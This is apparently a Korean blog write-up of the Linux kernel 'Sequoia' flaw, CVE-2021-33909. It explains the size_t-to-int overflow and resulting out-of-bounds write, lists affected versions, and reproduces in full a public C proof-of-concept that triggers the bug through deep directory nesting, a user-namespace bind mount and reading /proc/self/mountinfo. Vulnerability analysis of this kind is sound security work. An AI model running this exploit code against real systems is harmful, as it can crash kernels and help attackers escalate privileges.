□ 요 약
1. 취약점 요약
가. 커널 파일시스템 구현 취약점, 데이터 형 변환시 Integer Overflow 발생으로 인해 특정 위치에 값을 쓸 수 있는 Out of Bounds Write 취약점 발생
나. 경로가 긴 파일을 올바르게 처리하지 않을 경우 취약점 발생을 촉진
2. 영향
가. 취약점을 악용하여 일반 사용자가 root 계정 획득 가능, 서비스 거부 공격 시도 가능
나. 취약 버전
1) Ubuntu 20.04, Ubuntu 20.10, Ubuntu 21.04, Debian 11, and Fedora 34 Workstation, 기타 확인되지 않은 RedHat 계열 배포판
2) 해당 취약점이 내포된 리눅스 커널 (버전 3.16 ~ 5.13.)
□ 세부분석
1. 취약점이 발생하는 함수를 호출하는 과정
가. seq_read -> seq_buf_alloc -> show_mountinfo -> seq_dentry -> dentry_path-> prepend
1) seq_dentry 함수에서 dentry_path 함수로 사이즈 값을 전달하는 과정에서 형 변환 오류 발생
2) 잘못된 사이즈 값 전달로 인해, prepend 함수에서 잘못된 주소에 데이터를 쓰는 취약점이 발생
2. seq_read 함수
가. seq_file의 내용을 읽어들이는 함수로, seq_file 데이터 크기의 두 배 만큼 메모리를 할당하고 show_mountinfo 함수를 호출
* seq file의 일종인 /proc/<pid>/mountinfo 파일을 읽을 경우 m->op->show()를 통해 show_mountinfo 함수를 호출
3. seq_buf_alloc 함수
가. kvmalloc 함수를 호출하여 전달받은 사이즈만큼 메모리 할당
4. show_mountinfo 함수
가. seq_read 함수에서 호출된 show_mountinfo 함수는 seq_file 구조체를 매개변수로 하여 seq_dentry 함수 호출
* seq_dentry로 전달하는 seq_file 구조체의 size 변수는 size_t 형태
5. seq_dentry 함수
가. size_t 형 변수 size를 dentry_path 함수의 int 형 매개 변수로 전달, 형 변환 과정 중 Integer Overflow 발생
6. dentry_path 함수
가. 매개변수 전달 과정에서 Integer Overflow 발생, 할당받은 메모리 공간 주소 값에 음수 값인 buflen(-2147483648, 2GB)을 더한 후 prepend 함수에 전달하여 의도하지 않은 공간 (할당받은 공간보다 2GB 적은)에 데이터 쓰기 발생
* 특정 디렉토리가 마운트되어 있는 상태에서 해당 경로 삭제시 prepend 함수를 통해 할당받은 메모리 공간에 "//deleted"를 기록
7. prepend 함수
가. 음수 값인 buflen에서 10을 뺄 경우 최상위 비트가 0이 되어 양수 값으로 변화, memcpy 함수 실행으로 의도하지 않은 메모리 공간에 데이터 기록 (Out of Bounds Write)
□ POC 코드 (https://github.com/Liang2580/CVE-2021-33909)
/* * CVE-2021-33909: size_t-to-int vulnerability in Linux's filesystem layer * Copyright (C) 2021 Qualys, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <limits.h> #include <sched.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/param.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/un.h> #include <sys/wait.h> #include <unistd.h> #define PAGE_SIZE (4096) #define die() do { \ fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static void send_recv_state(const int sock, const char * const sstate, const char rstate) { if (sstate) { if (send(sock, sstate, 1, MSG_NOSIGNAL) != 1) die(); } if (rstate) { char state = 0; if (read(sock, &state, 1) != 1) die(); if (state != rstate) die(); } } static const char * bigdir; static char onedir[NAME_MAX + 1]; typedef struct { pid_t pid; int socks[2]; size_t count; int delete; } t_userns; static int userns_fn(void * const arg) { if (!arg) die(); const t_userns * const userns = arg; const int sock = userns->socks[1]; if (close(userns->socks[0])) die(); send_recv_state(sock, NULL, 'A'); size_t n; if (chdir(bigdir)) die(); for (n = 0; n <= userns->count / (1 + (sizeof(onedir)-1) * 4); n++) { if (chdir(onedir)) die(); } char device[] = "./device.XXXXXX"; if (!mkdtemp(device)) die(); char mpoint[] = "/tmp/mpoint.XXXXXX"; if (!mkdtemp(mpoint)) die(); if (mount(device, mpoint, NULL, MS_BIND, NULL)) die(); if (userns->delete) { if (rmdir(device)) die(); } if (chdir("/")) die(); send_recv_state(sock, "B", 'C'); const int fd = open("/proc/self/mountinfo", O_RDONLY); if (fd <= -1) die(); static char buf[1UL << 20]; size_t len = 0; for (;;) { ssize_t nbr = read(fd, buf, 1024); if (nbr <= 0) die(); for (;;) { const char * nl = memchr(buf, '\n', nbr); if (!nl) break; nl++; if (memmem(buf, nl - buf, "\\134", 4)) die(); nbr -= nl - buf; memmove(buf, nl, nbr); len = 0; } len += nbr; if (memmem(buf, nbr, "\\134", 4)) break; } send_recv_state(sock, "D", 'E'); die(); } static void update_id_map(char * const mapping, const char * const map_file) { const size_t map_len = strlen(mapping); if (map_len >= SSIZE_MAX) die(); if (map_len <= 0) die(); size_t i; for (i = 0; i < map_len; i++) { if (mapping[i] == ',') mapping[i] = '\n'; } const int fd = open(map_file, O_WRONLY); if (fd <= -1) die(); if (write(fd, mapping, map_len) != (ssize_t)map_len) die(); if (close(fd)) die(); } static void proc_setgroups_write(const pid_t child_pid, const char * const str) { const size_t str_len = strlen(str); if (str_len >= SSIZE_MAX) die(); if (str_len <= 0) die(); char setgroups_path[64]; snprintf(setgroups_path, sizeof(setgroups_path), "/proc/%ld/setgroups", (long)child_pid); const int fd = open(setgroups_path, O_WRONLY); if (fd <= -1) { if (fd != -1) die(); if (errno != ENOENT) die(); return; } if (write(fd, str, str_len) != (ssize_t)str_len) die(); if (close(fd)) die(); } static void fork_userns(t_userns * const userns, const size_t size, const int delete) { static const size_t stack_size = (1UL << 20) + 2 * PAGE_SIZE; static char * stack = NULL; if (!stack) { stack = mmap(NULL, stack_size, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); if (!stack || stack == MAP_FAILED) die(); if (mprotect(stack + PAGE_SIZE, stack_size - 2 * PAGE_SIZE, PROT_READ | PROT_WRITE)) die(); } if (!userns) die(); userns->count = size / 2; userns->delete = delete; if (socketpair(AF_UNIX, SOCK_STREAM, 0, userns->socks)) die(); userns->pid = clone(userns_fn, stack + stack_size - PAGE_SIZE, CLONE_NEWUSER | CLONE_NEWNS | SIGCHLD, userns); if (userns->pid <= -1) die(); if (close(userns->socks[1])) die(); userns->socks[1] = -1; char map_path[64], map_buf[64]; snprintf(map_path, sizeof(map_path), "/proc/%ld/uid_map", (long)userns->pid); snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getuid()); update_id_map(map_buf, map_path); proc_setgroups_write(userns->pid, "deny"); snprintf(map_path, sizeof(map_path), "/proc/%ld/gid_map", (long)userns->pid); snprintf(map_buf, sizeof(map_buf), "0 %ld 1", (long)getgid()); update_id_map(map_buf, map_path); send_recv_state(*userns->socks, "A", 'B'); } static void wait_userns(t_userns * const userns) { if (!userns) die(); if (kill(userns->pid, SIGKILL)) die(); int status = 0; if (waitpid(userns->pid, &status, 0) != userns->pid) die(); userns->pid = -1; if (!WIFSIGNALED(status)) die(); if (WTERMSIG(status) != SIGKILL) die(); if (close(*userns->socks)) die(); *userns->socks = -1; } int main(const int argc, const char * const argv[]) { if (argc != 2) die(); bigdir = argv[1]; if (*bigdir != '/') die(); if (sizeof(onedir) != 256) die(); memset(onedir, '\\', sizeof(onedir)-1); if (onedir[sizeof(onedir)-1] != '\0') die(); puts("creating directories, please wait..."); if (mkdir(bigdir, S_IRWXU) && errno != EEXIST) die(); if (chdir(bigdir)) die(); size_t i; for (i = 0; i <= (1UL << 30) / (1 + (sizeof(onedir)-1) * 4); i++) { if (mkdir(onedir, S_IRWXU) && errno != EEXIST) die(); if (chdir(onedir)) die(); } if (chdir("/")) die(); static t_userns userns; fork_userns(&userns, (1UL << 31), 1); puts("crashing..."); send_recv_state(*userns.socks, "C", 'D'); wait_userns(&userns); die(); }
□ 출처
1. https://blog.qualys.com/vulnerabilities-threat-research/2021/07/20/sequoia-a-local-privilege-escalation-vulnerability-in-linuxs-filesystem-layer-cve-2021-33909
2. https://access.redhat.com/ko/security/vulnerabilities/6202232
3. https://www.kernel.org/doc/html/latest/filesystems/seq_file.html#the-iterator-interface
4. https://github.com/Liang2580/CVE-2021-33909/blob/main/exploit.c
'1-Day 취약점 분석' 카테고리의 다른 글
OpenSSL 취약점 Heart Bleed Bug (CVE-2014-0160) (0) | 2021.10.22 |
---|